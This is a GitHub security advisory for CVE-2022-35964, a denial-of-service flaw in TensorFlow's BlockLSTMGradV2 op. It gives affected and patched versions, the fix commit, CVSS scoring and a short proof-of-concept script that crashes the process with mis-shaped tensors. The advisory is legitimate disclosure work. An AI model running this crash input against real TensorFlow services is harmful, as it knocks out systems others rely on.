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TensorFlow vulnerable to segfault in `BlockLSTMGradV2`

Moderate severity GitHub Reviewed Published Sep 15, 2022 in tensorflow/tensorflow • Updated Jan 28, 2023

Package

pip tensorflow (pip)

Affected versions

< 2.7.2
>= 2.8.0, < 2.8.1
>= 2.9.0, < 2.9.1

Patched versions

2.7.2
2.8.1
2.9.1
pip tensorflow-cpu (pip)
< 2.7.2
>= 2.8.0, < 2.8.1
>= 2.9.0, < 2.9.1
2.7.2
2.8.1
2.9.1
pip tensorflow-gpu (pip)
< 2.7.2
>= 2.8.0, < 2.8.1
>= 2.9.0, < 2.9.1
2.7.2
2.8.1
2.9.1

Description

Impact

The implementation of BlockLSTMGradV2 does not fully validate its inputs.

  • wci, wcf, wco, b must be rank 1
  • w, cs_prev, h_prev` must be rank 2
  • x must be rank 3
    This results in a a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf

use_peephole = False
seq_len_max = tf.constant(1, shape=[], dtype=tf.int64)
x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
tf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole)

Patches

We have patched the issue in GitHub commit 2a458fc4866505be27c62f81474ecb2b870498fa.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

References

@pak-laura pak-laura published to tensorflow/tensorflow Sep 15, 2022
Published by the National Vulnerability Database Sep 16, 2022
Published to the GitHub Advisory Database Sep 16, 2022
Reviewed Sep 16, 2022
Last updated Jan 28, 2023

Severity

Moderate
5.9
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Weaknesses

CVE ID

CVE-2022-35964

GHSA ID

GHSA-f7r5-q7cx-h668

Source code

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